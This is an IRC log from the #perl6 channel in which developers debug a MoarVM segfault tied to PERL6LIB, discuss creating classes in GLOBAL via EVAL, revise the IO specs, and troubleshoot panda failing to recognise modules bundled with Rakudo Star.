»ö« Welcome to Perl 6! | perl6.org/ | evalbot usage: 'perl6: say 3;' or rakudo:, niecza:, std:, or /msg camelia perl6: ... | irclog: irc.perl6.org | UTF-8 is our friend!
Set by sorear on 25 June 2013.
00:08 panchiniak left 00:13 bjz left 00:29 nbrown joined 00:33 nbrown left 00:41 xenoterracide joined 00:42 Antonio87 joined, Lelia_McKenzie47 left 00:44 leont left 00:59 jerrycheung joined 01:03 xenoterracide left 01:17 BenGoldberg joined 01:23 nbrown joined 01:25 Antonio87 left 01:29 nbrown left 01:40 Alene_Kiehn79 joined 02:08 nbrown joined 02:10 chenryn joined 02:13 nbrown left 02:15 noganex joined 02:17 tinyblak joined, noganex_ left 02:20 Sqirrel joined 02:30 chenryn left 02:32 chenryn joined 02:38 Alene_Kiehn79 left 02:40 FROGGS[mobile] left 02:41 mr-foobar left 02:42 mr-foobar joined 02:47 vendethiel- joined 02:48 Anita_Farrell94 joined, vendethiel left 02:59 vendethiel joined
TimToady now in Chama, NM 03:00
03:02 vendethiel- left 03:09 nbrown joined 03:14 nbrown left 03:17 xenoterracide joined, mr-foobar left 03:19 mr-foobar joined 03:23 jerrycheung left 03:24 tinyblak left 03:38 jerrycheung joined 03:39 Anita_Farrell94 left, aborazmeh left 03:41 yeahnoob joined 03:45 BenGoldberg left 03:51 Alford_Cummings joined 04:02 chenryn left 04:03 chenryn joined 04:04 chenryn left 04:05 retupmoca left, retupmoca joined 04:07 nickpatc1 left 04:08 nickpatch joined, chenryn joined 04:10 baest left, baest joined, nbrown joined
j4jackj timotimo: nice! 04:13
erm
TimToady: nices!
04:14 nbrown left 04:15 kurahaupo left 04:18 Alford_Cummings left 04:20 [Sno] left, rindolf joined 04:23 kurahaupo1 left 04:28 chenryn left 04:38 kurahaupo joined 04:44 chenryn joined
ingy vendethiel: I o/ 04:55
er
I just realized I messed up my fizzbuzz. I misinterpreted the perl6 %% 04:56
the p6 fb is moar genieus than I thunk!
04:57
ingy stealsWstudies the p6 operator set
.tell pmurias I'll explain my acmeist thoughts on translation tomorrow when you are about. 04:59
yoleaux ingy: I'll pass your message to pmurias.
ingy perhaps I should write a swim-post on that now
05:01 kurahaupo left 05:07 darutoko joined 05:11 nbrown joined 05:14 dagurval joined 05:15 nbrown left 05:22 mberends left 05:23 MikeFair_ left 05:26 chenryn left, MikeFair joined, gfldex joined 05:32 chenryn joined 05:38 xenoterracide left 05:44 digitalvortex joined 05:46 jerrycheung left 06:05 digitalvortex left 06:11 nbrown joined 06:13 oetiker left 06:14 oetiker joined, kurahaupo joined 06:16 nbrown left 06:23 gfldex left 06:29 SamuraiJack joined 06:30 kurahaupo_ joined 06:33 dolmen joined 06:34 [Sno] joined 06:44 FROGGS joined 06:57 darutoko- joined 07:00 darutoko left 07:12 mberends joined, nbrown joined 07:16 dolmen left 07:17 nbrown left 07:19 Mso150 joined 07:23 tinyblak joined, anaeem1_ joined 07:24 Mso150 left, kaare_ joined, Mso150 joined 07:26 tinyblak left, tinyblak joined 07:27 Mso150 left, Mso150 joined 07:28 kaleem joined 07:30 virtualsue joined 07:33 telex left 07:34 telex joined 07:35 tinyblak left 07:42 zakharyas joined 07:52 tinyblak joined 07:57 kurahaupo_ left 07:58 jerrycheung joined 08:00 anaeem1_ left, tinyblak_ joined 08:01 MikeFair left 08:04 anaeem1_ joined, tinyblak left, MikeFair_ joined 08:05 anaeem1_ left, MikeFair_ left 08:07 kurahaupo_ joined, anaeem1_ joined 08:08 bartolin joined 08:09 kurahaupo left 08:11 anaeem1_ left 08:13 nbrown joined, kjs_ joined, anaeem1 joined 08:17 dakkar joined 08:18 nbrown left 08:25 davido__ joined, SamuraiJack left 08:26 SamuraiJack joined 08:29 davido_ left 08:30 zakharyas1 joined 08:31 cognome left 08:32 cognome joined 08:34 ghostlines joined 08:37 _slade_ left 08:39 virtualsue left 08:40 virtualsue joined 08:41 leont joined
lizmat good *, #perl6! 08:44
FROGGS hi lizmat 08:45
lizmat FROGGS o/
lizmat goes back to the S32/IO drawing board 08:46
08:47 fhelmberger joined 08:51 denis_boyun_ joined 08:52 tinyblak_ left 08:56 kjs_ left
sergot lizmat: o/ 08:56
lizmat sergot o/ 08:57
sergot FROGGS: did you try to run rosettacode tester?
FROGGS sergot: yes, and then my system locked up... that's why I did not test it again 08:58
sergot :(
08:59 virtualsue left, jerrycheung left
sergot can we close #121947? 09:01
synopsebot Link: rt.perl.org/rt3//Public/Bug/Displa...?id=121947
bartolin I managed to golf the spectest failures [Coke]++ got recently for moar (in S05-transliteration/trans.t)
it looks to me as if moar does not like a PERL6LIB variable like '/path/to/rakudo/lib:.'
perl6-roast-data uses that and it results in a segmentation fault (but only for those single test file)
FROGGS sergot: did you get an answer by TimToady?
bartolin other versions of PERL6LIB ('lib:.' or '/path/to/rakudo/lib:/path/to/rakudo) seem to work
see: pastebin.com/cAzk213S
FROGGS wow 09:02
lizmat you mean there's a trailing colon?
ah, and a period
aha.. hmmm....
bartolin the combination of a path with slashes and a dot as a second directory seems to be problematic 09:03
FROGGS I would guess that different modules get loaded which result in a segfault...
bartolin the form $dir1:$dir2 as such is correct, isn't it? 09:04
lizmat seems to work correct:
$ PERL6LIB=foo:. 6 '.say for @*INC'
file:foo
file:.
file:/Users/liz/Github/rakudo.moar/install/languages/perl6/lib
FROGGS bartolin: does that also segfault? ./perl6-m -I. -I$(pwd)/lib t/spec/S05-transliteration/trans.rakudo.moar 09:05
bartolin FROGGS: no, runs as expected 09:06
FROGGS hmmm....
bartolin This also works: 09:07
$ PERL6LIB=.:$(pwd)/lib ./perl6-m t/spec/S05-transliteration/trans.rakudo.moar
FROGGS and probably also: $ PERL6LIB=$(pwd)/lib ./perl6-m t/spec/S05-transliteration/trans.rakudo.moar 09:08
bartolin yepp
FROGGS weird weird weird
bartolin Looks like it broke on 2014-09-11. 09:09
09:10 tinyblak joined
bartolin if I add a third dir it also segfaults: 09:11
$ PERL6LIB=$(pwd)/lib:.:/usr/local/lib ./perl6-m t/spec/S05-transliteration/trans.rakudo.moar
09:11 brrt joined
FROGGS Program received signal SIGSEGV, Segmentation fault. 09:11
0x00007ffff79a0bde in scan_registers (frame=0x5469400, worklist=0x4d37f80, tc=0x603690) at src/gc/roots.c:376
376 MVM_gc_worklist_add(tc, worklist, &frame->work[i].o);
:o(
that's where it happens
lizmat a premature GC issue ?
FROGGS and it works when I do: MVM_SPESH_INLINE_DISABLE=1 09:12
I dunno what happens there tbh 09:13
09:14 nbrown joined
bartolin well, I have no clue, absolutely. but it was fun to golf it down ;-) 09:14
FROGGS bartolin++ 09:15
:o)
lizmat bartolin++ indeed
FROGGS I can probably golf it down to the optimization that breaks it...
09:17 Mso150 left
bartolin I guess [Coke]++ would be happy ;-) 09:18
FROGGS++
09:18 nbrown left
FROGGS huh, the first hit might be it... 09:19
when I disable the optimization for MVM_OP_set, it works again...
hmm, it also works when I disable MVM_OP_invoke_{i,n,s,o} 09:21
brrt oh... sigsegv because of inline 09:23
darn
FROGGS hmm, and MVM_OP_isconcrete
I'm not sure anymore that it is sane what I do :o)
brrt FROGGS: does it break if you MVM_DISABLE_JIT=1 ?
FROGGS not MVM_JIT_DISABLE=1?
brrt yeah that is correct :-) 09:24
FROGGS brrt: it is not the jit, I've tested that already :o)
brrt ah....
hmm
inlining is complex
what about OSR? 09:26
FROGGS not OSR's fault also
lizmat TimToady: we have all(), none(), any(), one(), perhaps we could use either/neither for a 2-element junction for readability ? 09:33
and potential better optimization?
09:33 pecastro joined
lizmat either being one() for 2 elements, neither being none() for 2 elements 09:34
09:34 cognome left
sergot FROGGS: I thought we got an answer recently. 09:35
sergot is trying to find the answer 09:36
:)
FROGGS sergot: I've not seen it :o)
brrt either is just xor right? 09:43
neither is nand ... or not 09:44
neither F, F = T, neither T, F = F 09:45
tadzik neither is nor
either is or
well, that depends
"is either of you married?" "yes, we both are" or "no, we both are" :P
brrt either is xor, neither is nor , you're correct :-)
lizmat ok, if it's that confusing, maybe it's just a bad idea
brrt :-) 09:46
09:46 yeahnoob left
lizmat even the dictionary is in two minds about it :-( 09:46
brrt well.. xor and nor are clear enough 09:48
dalek ecs: 12f5bf6 | (Elizabeth Mattijsen)++ | S16-io.pod:
Small rearranging
09:49
09:49 brrt left 09:55 virtualsue joined
sergot FROGGS: irclog.perlgeek.de/perl6/2014-09-10#i_9326947 09:59
found it!
:)
10:00 tinyblak left
lizmat sergot FROGGS: where is this about? 10:03
*what 10:04
the @(Bag) change ? is it causing problems ?
10:15 nbrown joined 10:16 zakharyas1 left 10:19 nbrown left
dalek ecs: 0c34759 | (Elizabeth Mattijsen)++ | S16-io.pod:
Forget chmod() + some cosmetics
10:23
10:24 pmurias joined 10:26 xinming_ joined
pmurias hi 10:26
yoleaux 04:59Z <ingy> pmurias: I'll explain my acmeist thoughts on translation tomorrow when you are about.
sergot lizmat: it is just about prining Bags, we didn't know whether it should be more like hashes or more like lists. 10:28
printing
so, just a spec
lizmat aha, ok, and shortly after that spec change, I implemented that
was stable ~ 3 days later or so 10:29
sergot lizmat: great, so we can close #121947, right?
synopsebot Link: rt.perl.org/rt3//Public/Bug/Displa...?id=121947
10:29 xinming left 10:30 bjz joined
lizmat sergot: good question 10:32
m: say <a a b b c c d d>.Bag.fmt("%s") # this feels wrong to me
camelia rakudo-moar 682e03: OUTPUT«a␤b␤c␤d␤»
lizmat m: say <a a b b c c d d>.Set.fmt("%s") # same for Set btw 10:33
camelia rakudo-moar 682e03: OUTPUT«a␤b␤c␤d␤»
lizmat I think the bug still exists
10:33 tinyblak joined
masak vendethiel: we don't have macros that generate macros yet, no. 10:35
yoleaux 21 Sep 2014 17:48Z <vendethiel> masak: I'm gonna make macros to join our `where`s and that: goto.ucsd.edu/~rjhala/liquid/haskel...s-101.lhs/
masak vendethiel: that would fall under D4, though. 10:36
FROGGS m: say <a a b b c c d d>.Bag.fmt("%s => %s")
camelia rakudo-moar 682e03: OUTPUT«a => 2␤b => 2␤c => 2␤d => 2␤»
masak oh, and I have two tips to relay, from an anonymous source: 10:42
(a) Rakudo Star releases matter. should try and release them a week or so after every compiler release, preferably. 10:43
(b) there's interest in a Perl 6 Oracle DBI.
10:46 philh joined
philh Hello all. 10:46
Stupid question time
masak bring it! :D 10:47
philh If I'm in a REPL, how do I load a .pl?
jnthn eval slurp 'file.pl'
masak om nom nom
dalek ecs: f75e1a3 | (Elizabeth Mattijsen)++ | S16-io.pod:
IO::Path.contents is ambiguous, use .dir instead
lizmat EVAL perhaps ?
masak perhaps :( 10:48
philh @lizmat: got it
lizmat 'file.pl'.IO.slurp.EVAL
philh Many thanks. Wrote a grammar, all happy, and then I need to actually explore the data structure. 10:49
Incidentally using windows rakudo in cygwin means many tears.
jnthn s/'windows rakudo in '// in my experience.... :S 10:50
philh True enough, is there a better environment for perl6ing on Win? 10:51
jnthn just uses Windows directly
nine m: BEGIN GLOBAL::<Test> = class { }; Test.new;
camelia rakudo-moar 682e03: OUTPUT«===SORRY!===␤Object of type <anon> in QAST::WVal, but not in SC␤»
jnthn ConEnum + Notepad++ 10:52
*ConEmu
masak nine: looks like a bug. 10:53
...maybe.
philh Hmm, I'm a bit tied to my unix tools... cheers people.
10:53 philh left
nine masak: any idea how I can create a class with a fully qualified name from an EVAL that's deep in some other namespace? 10:53
masak: as in Inline::Perl5::Perl6PackageCreator::create runs an EVAL that should create a class called Foo::Bar::Baz. 10:54
10:55 bartolin left
lizmat nine: EVAL "class Foo::Bar::Baz {}" doesn't cut it ? 10:55
10:55 anaeem1__ joined
lizmat alternately EVAL "class Foo { class Bar { class Baz {}}}' ? 10:56
or actually, maybe both?
nine lizmat: nope, that creates Inline::Perl5::Perl6PackageCreator::Foo::Bar::Baz (what a handy name ;)
masak has no idea, sadly 10:57
lizmat m: class ::Foo {} # seems to not die, inspiration maybe ?
camelia ( no output )
nwc10 good +0800, masak 10:58
nine m: BEGIN GLOBAL::<Test> := class { }; Test.new;
camelia ( no output )
jnthn nine: Does class GLOBAL::Foo::Bar::Baz { } not do it?
nine ah, := works, while = does not
jnthn: no, the GLOBAL:: is pretty much ignored
jnthn ah
Maybe that wants fixing
But afer dinner
masak submits rakudobug
nine jnthn: according to S10, GLOBAL:: should do it though
jnthn nine: That's my feeling too 10:59
10:59 anaeem1 left, kurahaupo joined
masak nwc10: ahoywdy. 11:01
dinner &
jnthn nom too & 11:02
11:08 anaeem1__ left 11:09 anaeem1_ joined
FROGGS m: class GLOBAL::Foo::Bar::Baz { } 11:12
camelia ( no output )
FROGGS m: class GLOBAL::Foo::Bar::Baz { }; say GLOBAL::
camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
FROGGS m: class GLOBAL::Foo::Bar::Baz { }; say GLOBAL::<Foo>.WHAT
camelia rakudo-moar 682e03: OUTPUT«(Foo)␤»
FROGGS m: class GLOBAL::Foo::Bar::Baz { method hello { say "Guten Tag" } }; say GLOBAL::<Foo>.hello() 11:13
camelia rakudo-moar 682e03: OUTPUT«No such method 'hello' for invocant of type 'Foo'␤ in block <unit> at /tmp/H3N2o4AYuu:1␤␤»
FROGGS m: class GLOBAL::Foo::Bar::Baz { method hello { say "Guten Tag" } }; say GLOBAL::Foo::Bar::Baz.hello()
camelia rakudo-moar 682e03: OUTPUT«Guten Tag␤True␤»
FROGGS nine: ^^
11:13 prevost joined 11:15 nbrown joined
nine m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; Bar::Baz.hello(); 11:16
camelia rakudo-moar 682e03: OUTPUT«Could not find symbol '&Baz'␤ in method <anon> at src/gen/m-CORE.setting:13632␤ in any find_method_fallback at src/gen/m-Metamodel.nqp:2662␤ in any find_method at src/gen/m-Metamodel.nqp:972␤ in block <unit> at /tmp/U1aTzUuzNL:1␤␤»
11:16 tinyblak left
FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; say GLOBAL:: 11:17
camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; say ::('Bar')
camelia rakudo-moar 682e03: OUTPUT«===SORRY!===␤No such symbol 'Bar'␤»
FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say ::('Bar')
camelia rakudo-moar 682e03: OUTPUT«===SORRY!===␤No such symbol 'Bar'␤»
FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say ::
camelia rakudo-moar 682e03: OUTPUT«PseudoStash.new("\$!", Nil, "\$/", Nil, "\$_", Nil, "GLOBALish", GLOBAL, "EXPORT", EXPORT, "\$?PACKAGE", GLOBAL, "::?PACKAGE", GLOBAL, "Foo", Foo, "\$=pod", Array.new(), "!UNIT_MARKER", !UNIT_MARKER, )␤»
FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say GLOBAL:: 11:18
camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
FROGGS m: class Foo { method create { EVAL q/class GLOBAL::Bar::Baz { method hello { say q{Guten Tag} } };/; } }; Foo.create; import Foo; say GLOBAL::Foo::
camelia rakudo-moar 682e03: OUTPUT«"Bar" => Bar␤»
FROGGS ohh
nine It seems to ignore the GLOBAL::
FROGGS m: class Foo { class GLOBAL::Bar::Baz { method hello { say "Guten Tag" } } }; import Foo; say GLOBAL:: 11:19
camelia rakudo-moar 682e03: OUTPUT«"Foo" => Foo␤»
FROGGS m: class Foo { class GLOBAL::Bar::Baz { method hello { say "Guten Tag" } } }; import Foo; say GLOBAL::Foo::
camelia rakudo-moar 682e03: OUTPUT«"Bar" => Bar␤»
FROGGS okay
so it ignored GLOBAL in any case, even without being in an EVAL
and it installs itself in the outer class
11:20 nbrown left
nine Probably even better for my use case would be if something like package GLOBAL; would just work. 11:23
Or if I could tell EVAL to run in the GLOBAL package. 11:24
11:25 anaeem1_ left
lizmat nine: you actually can, but jnthn frowns upon its usage 11:25
check out method EVAL in the core
I guess as a temporary fix it would be ok 11:26
nine nice!
11:26 anaeem1 joined 11:27 tinyblak joined 11:30 tinyblak left, zakharyas left 11:32 Ven joined
Ven masak: alright, fair enough. Well, need some kind of interp/symbol-to-str 11:32
the reason I'm *against* checking sub presences and other stuff like that before macros are run is because it makes us unable to prepend/append names
It just depends which kind of structure will hold "names". Strings? We probably need something different 11:34
nine m: class Foo { method create { EVAL q/class Bar::Baz { method hello { say q{Guten Tag} } };/, context => GLOBAL::; } }; Foo.create; Bar::Baz.hello(); 11:41
camelia rakudo-moar 682e03: OUTPUT«Cannot call 'EVAL'; none of these signatures match:␤:(Cool $code, Any :lang($lang) = { ... }, PseudoStash :context($context))␤ in method create at /tmp/O_VXrIVWgq:1␤ in block <unit> at /tmp/O_VXrIVWgq:1␤␤»
nine Now this works: EVAL("module $package \{\n$code\n\}", context => CALLER::CALLER::CALLER::CALLER::CALLER::CALLER::); 11:43
But I somehow don't like it all that much :) 11:44
Ven nine: so long you know, there's a place in hell ready for you :P
lizmat nine: FWIW, that's how I used something like that a few months ago 11:46
:-)
clearly there is a need for something like that
nine So maybe we'll share that special place in hell :)
lizmat maybe :-)
Ven you want to create a class in the global package, from a class's instance method? 11:47
nine Ven: yes 11:48
Ven wouldn't it be better to expose it through EXPORT? 11:49
nine Ven: no, there's no one to EXPORT to.
Ven can't you have, "inline", a `package Cur::NS::Classes { our sub export ... }` ? 11:50
nine Ven: I'm implementing support for something like use v6-inline; in Perl 5 code executed from Perl 6. So Perl 5 can load a module that is actually written in Perl 6. package Foo::Bar::Baz; use v6-inline; say [1,2,3].perl; would create a Perl 6 module called Foo::Bar::Baz 11:51
11:51 chenryn left, jerrycheung joined
Ven right. 11:52
nine Extreme situations sometimes just require extreme measures :)
nine just loves pushing boundaries 11:53
Ven Wouldn't creating that package, and give it said EXPORT sub
giving it* said EXPORT sub, work?
nine I _guess_ it would then EXPORT to whoever ran the Perl 5 code that ended up loading some module. That's not how Perl 5 semantics work. 11:54
12:00 anaeem1 left 12:02 anaeem1_ joined 12:10 muixirt joined
muixirt panda --installed list # lists nothing on R* 2014.08 ... but there are modules installed 12:15
12:16 nbrown joined
FROGGS muixirt: panda does not know that star bundles stuff for it 12:17
12:18 PZt left
muixirt FROGGS: that's bad :-) does it handle dependencies correctly if a module depends on one of the preinstalled modules? 12:19
12:20 anaeem1_ left
FROGGS muixirt: no, a dependency needs to be known by panda in order to do that 12:20
muixirt: which means, we have to create pandas projects.info (or what it is called) when making a rakudo star release
12:21 nbrown left 12:23 tinyblak joined
muixirt hmm, some modules lack documentation 12:27
nine This also seems to work and shouldn't depend on the call stack: EVAL("module $package \{\n$code\n\}", context => OUTER::OUTER::OUTER::OUTER::);
FROGGS bbiab 12:28
12:28 FROGGS left 12:30 xenoterracide joined 12:33 SamuraiJack left
dalek ecs: 812d1ac | (Elizabeth Mattijsen)++ | S16-io.pod:
Add IO::Path.slurp + some cosmetics
12:35
ecs: f153027 | (Elizabeth Mattijsen)++ | S32-setting-library/IO.pod:
Part 3 of S32/IO revamp

Done IO::Path, IO::Handle still to come.
12:35 bjz left, zakharyas joined, bjz joined
pmurias jnthn: re nqp::serialization hack it think I keeping the ability to cross compile will be usefull even after the bootstrap, but the hack doesn't seem to have significant bad sideffect so I think it's best to just keep it until we come up with some elegant solution 12:36
do we want to use a '.pl' extension for Perl 6 scripts? 12:37
12:37 pmqs1 joined
nine pmurias: S01 seems to answer with a "yes" 12:38
12:40 zakharyas left
PerlJam pmurias: Are you asking in a "best practices" sense? Or an "is it okay to do this" sense? 12:40
S01 ansers the latter, but I think the answer to the former is probably different.
(i.e. A "best practice" might be to use .p6 to distinguish P6 from P5) 12:41
12:41 lofas joined
Ven PerlJam: but then you're messing a lot of highlighting :( 12:43
it goes both way, actually.. 12:44
12:44 xenoterracide left
jnthn uses .p6 today on scripts, but as stuck with .pm on modules... 12:45
12:45 SamuraiJack joined
Ven
.oO( use .p6 today and get a reduction on tomorrow's .pm!s )
12:45
pmqs1 Hey - wonder if someone can help me? I've installed the latest Rakudo* successfully on a Linux setup. Just trying to install some more modules using panda. Problem is - it complains about missing modules that came with R*. For example, when I try to install Compress::Zlib it thinks I don't have NativeCall. But I do. 12:46
Ven m: say dir
camelia rakudo-moar 682e03: OUTPUT«IO::Path<jvm-rakudo> IO::Path<star-2014.08> IO::Path<.viminfo> IO::Path<rakudo-inst-2> IO::Path<.pugs_history> IO::Path<.selected_editor> IO::Path<star> IO::Path<rakudo1> IO::Path<.bash_history> IO::Path<.bashrc> IO::Path<.cache> IO::Path<.bash_logout> IO:…»
tadzik pmqs1: interesting. Does 'perl6 -MNativeCall -e1' work? 12:47
Ven should lines('a') Z lines('b') work?
it only goes over the first line here
or should I use lizmat++'s .IO.lines(:eager)
kurahaupo pmurias: best practice for naming scripts on POSIX systems is usually to install them in a bin directory that's in $PATH, with *no* suffix. Only in source trees should they have a suffix, and only then if you can guarantee its removal during the installation process
pmqs1 tadzik: yes, it does
lizmat Ven: lines() is still special 12:48
.IO.lines is clearer I think
either should Z though...
timotimo Ven: lines("a") will split the string "a" into lines
Ven timotimo: right >_>
well, .IO.lines works great. 12:49
timotimo it's very good if you created "a" and "b" with something like "yes a | head -n 1000 > a" and such
because then you can't tell if you're working on the filename or file contents :P
PerlJam tadzik: from about 30 minutes ago ... <FROGGS> muixirt: panda does not know that star bundles stuff for it
Ven I wanted to have a "correspondance" file, so I just
PerlJam tadzik: so, if true, it's an R* bug.
tadzik PerlJam: it doesn't but that shouldn't make anything complain about the lack of NativeCall 12:50
panda may just build it for the 2nd time
12:50 lofas left
Ven for 'a'.IO.lines Z 'b'.IO.lines { say "$^a$^b" } 12:50
12:50 tinyblak left
PerlJam oh, that's true. 12:50
(or should be true)
12:50 yeahnoob joined
Ven how'd you do that in p5? 12:50
pmqs1 When I try to install NativeCall with Panda I get the error "No registered operation handler for 'nativecallglobal'
lizmat Ven: with great difficulty 12:51
timotimo lizmat: except if there's a module for that :P
lizmat sure there is :-)
Ven lizmat: Cool. I guess I'll put that in my to-be talk :P
PerlJam Ven: Maybe with IO::All and List::UtilsBy ? 12:52
Ven PerlJam: no clue, I don't p5
timotimo i don't p5 either ... a strange situation to be in i have to admit, but it's very enjoyable
especially not having to undo the "damage" perl5 may have done
12:53 kaleem left
jnthn pmqs1: Try panda --nodeps install ... (maybe --no-deps, I forget) 12:53
pmqs1: If NativeCall is all it depends on, that will avoid the issue 12:54
timotimo --node-ps
Ven
.oO( --node-js )
12:54 mr-foobar left
Ven (for webscale p6) 12:54
jnthn wtf... :P
timotimo .o( the new asynchronous IO hotness for postscript on the server )
12:54 guru joined, guru is now known as Guest10553
pmurias --node-ps is for printer scale p6? 12:55
12:55 mr-foobar joined
timotimo the good thing is you can have the same code run on your server and on your client's printers! 12:55
12:55 Guest10553 is now known as ajr_
jnthn had one uni lecturer who once mentioned he'd managed to implement towers of hanoi in postscript :) 12:55
timotimo someone i know built a quine t-shirt with postscript
jnthn I think it printed out the result or something
timotimo: Wow. :)
pmqs1 jnthn: nope. no difference. 12:56
$ panda --nodeps install NativeCall
==> Fetching NativeCall
==> Building NativeCall
Compiling lib/NativeCall.pm6 to mbc
===SORRY!===
No registered operation handler for 'nativecallglobal'
build stage failed for NativeCall: Failed building lib/NativeCall.pm6
timotimo jnthn: sadly, the code wouldn't cause a regular inkjet or laser printer to actually print out a tshirt :P
leont Book once wrote a perl5 script that was also valid postscript, they both outputted a camel I think.
tadzik bwahaha
timotimo pmqs1: ah! that's what you get when you use a newer version of NativeCall than the one we bundled ... 12:57
lizmat I think it was on the YAPC::EU 2001 T-shirt :-)
timotimo pmqs1: the bundled NativeCall really should have worked :(
jnthn pmqs1: No, I meant do that on the module you wanted to install in the first place.
leont perl.plover.com/obfuscated/bestever.pl 12:58
pmqs1 jnthn: aaah ok. Let me try that ... 12:59
timotimo worst case you can "panda install ." inside the NativeCall folder we're bundling
pmqs1 jnthn: better
PerlJam Ven: here's a Perl5 version: use IO::All; use List::UtilsBy qw< zip_by >; my @a = io("A")->chomp->slurp; my @b = io("B")->chomp->slurp; print zip_by { "$_[0]$_[1]\n" } \@a, \@b 13:00
Ven not as cute :P
timotimo PerlJam: how come chomp->slurp gives you a list of lines? wantarray? 13:01
PerlJam timotimo: probably.
timotimo wantarray is something i'm not terribly fond ot
of*
Ven only fools would copy something like that :) 13:03
(which is why c++ did it)
timotimo wait what.
overloading based on return type? %)
PerlJam with automatic coercions IIRC 13:04
timotimo well, you can turn that off with "explicit" constructors, though, right?
well, it's still something you have to think of
PerlJam yep
pmqs1 jnthn: Thanks - that seems to have got past the problem. Do you want a bug report filed? This is something that would put off the casual P6 user who would expect panda to "just work"?
timotimo yes please, that's a bad bug 13:05
in rakudo/star on github, i'd suggest
do we know how this happened? :o
pmqs1 timotimo: will do. 13:06
no 0 haven't a clue
13:06 muixirt left
pmqs1 but have hit the same issue on two differnt Linux boxes 13:07
timotimo just to make sure: you're not using the releases from github.com/rakudo/star/releases, right?
i should go through that list again and delete those
pmqs1 let me check where I got it...
timotimo oh i'm not an admin for that repository, it seems like i cannot delete the releases there
pmqs1 got it from rakudo.org/downloads/star/rakudo-st....08.tar.gz 13:08
timotimo good 13:09
github is like "hey, we have this super useful 'releases' feature for you, yay?" and we're like "why doesn't it contain any of the submodule contents?" ...
whenever people download the release from github, they get burnt badly
pmqs1 will keep that in mind 13:10
jnthn timotimo: Yes, the issue is that the R* "make install" doesn't also set up stuff so Panda knows what is already there
timotimo maybe we should just file a bug report with github instead of whining
13:10 tinyblak joined
timotimo jnthn: wasn't there once a project to use panda to install the modules from rakudo star's make install routine? 13:10
13:11 kurahaupo left
jnthn timotimo: Perhaps. I guess it never got completed/merged. :( 13:11
Ven timotimo: you can't "file a bug report on github" :p
timotimo i think you actually can
ah, hm. [email@hidden.address] 13:12
dalek p-js: 4d1f45f | (Pawel Murias)++ | / (8 files):
Start porting over object deserialization.
13:13
pmqs1 timotimo: I'll stick something in RT about panda so it doesn't get dropped. 13:14
timotimo OK 13:15
pmqs1 think my p5p credentials let me into the P6 side
timotimo could very well be, yeah
pmqs1 it did 13:17
13:17 nbrown joined
jnthn away for a bit 13:17
13:19 FROGGS joined
FROGGS pmqs1: you need to install an older version of NativeCall, probably best would be to checkout its repo, then checkout the 2014.08 branch and install that via pana (panda install .) 13:21
13:22 nbrown left
FROGGS pmqs1: ahh, you installed star 2014.08 and updated NativeCall? is that right? 13:22
if it helps, there probably will be a star 2014.09 within 48 hours 13:23
lizmat FROGGS++
nwc10 which lovely person is doing star this month?
FROGGS nwc10: whoever put his/her name in the release doc :o) 13:24
okay... looks like I have no time to waste... implementing nativecallglobal on parrot and jvm and then cutting the star release 13:25
lizmat FROGGS: doesn't that mean that the star release has a newer version than the compiler release ? 13:26
FROGGS err
lizmat: you are right, the nativecallglobal stuff won't end up in current star
nwc10 surely it's OK to say "experimental X, only available in MoarVM this month" ?
FROGGS nwc10: problem is, it landed in moar after the compiler release 13:27
nwc10 then, surely it's a next month thing?
oh, wait, I suspect I'm confused here
there's scrollback I've not read
FROGGS but when somebody (re-)installs it from github, the said op won't be there so it won't build
PerlJam unless someone cuts another compiler release. 13:28
FROGGS ^---- that's the problem
well, not that :o)
PerlJam: true
lizmat
.oO( weekly compiler releases, yeah! )
FROGGS >.<
lizmat it's almost Thursday again :-) 13:29
nwc10 there's scrollback I've not read
oops, wrong winrog
FROGGS *g*
nwc10 wrong keyboard too, it seems
FROGGS good for star on the other hand is that my bladecenter did not arrive yet :o)
13:48 tinyblak left
pmqs1 FROGGS: I installed star 2014.08, then tried installing Compress::Zlib with panda. That's when it complained about NativeCall. Panda with --nodeps has got past the NativeCall issue 13:52
FROGGS pmqs1: yes, we need to create the database of modules that get shipped by star in order to avoid that issue 13:53
pmqs1 ok - still eant me to create an RT ticket?
lizmat FROGGS: seems we need an C::R::L::Installation to ship with R* :-( 13:54
FROGGS lizmat: sort of... panda has its own database 13:55
pmqs1: that might be good, yeah
pmqs1 will do
FROGGS pmqs1: make an issue in the star repo I'd say
pmqs1 ok 13:56
13:57 molaf joined 13:58 brrt joined 14:01 kaleem joined 14:02 bartolin joined 14:03 yeahnoob left 14:05 yeahnoob joined 14:16 skids left
dalek p: 18c74a4 | (Tobias Leich)++ | src/vm/parrot/ (2 files):
implement nqp::nativecallglobal on parrot
14:17
14:17 brrt left 14:18 nbrown joined
leont List::Util is lacking some rather common operations. I'd like a first or a first_index :-/ 14:19
dalek volaj: e75ca9e | (Tobias Leich)++ | t/10-cglobals. (2 files):
add tests for C global support
FROGGS leont: I want that for years :o)
PerlJam or ... just use Perl 6 :) 14:20
lizmat leont: List::MoreUtil has first, doesn't it?
14:20 brrt joined
PerlJam It has first_index too 14:21
leont I meant p6's List::Util
Much of p5 List::Util is already built-in, so I was expecting much of p5 List::MoreUtils in p6 List::Util
FROGGS ohh, the underscore made me think of P5 14:22
14:22 nbrown left
Ven m: say [1, 2,3].first-index(3) 14:22
camelia rakudo-moar 682e03: OUTPUT«2␤»
Ven leont: ^
is that not enough?
leont Ven: then that is not documented!
Ven I don't know, I just tried it :P. Didn't know that'd work 14:23
FROGGS /home/froggs/dev/specs/S32-setting-library/Containers.pod:274:=item first-index
/home/froggs/dev/specs/S32-setting-library/Containers.pod:276: multi method first-index ( @values: Matcher $test --> Parcel )
/home/froggs/dev/specs/S32-setting-library/Containers.pod:277: multi first-index ( Matcher $test, *@values --> Parcel )
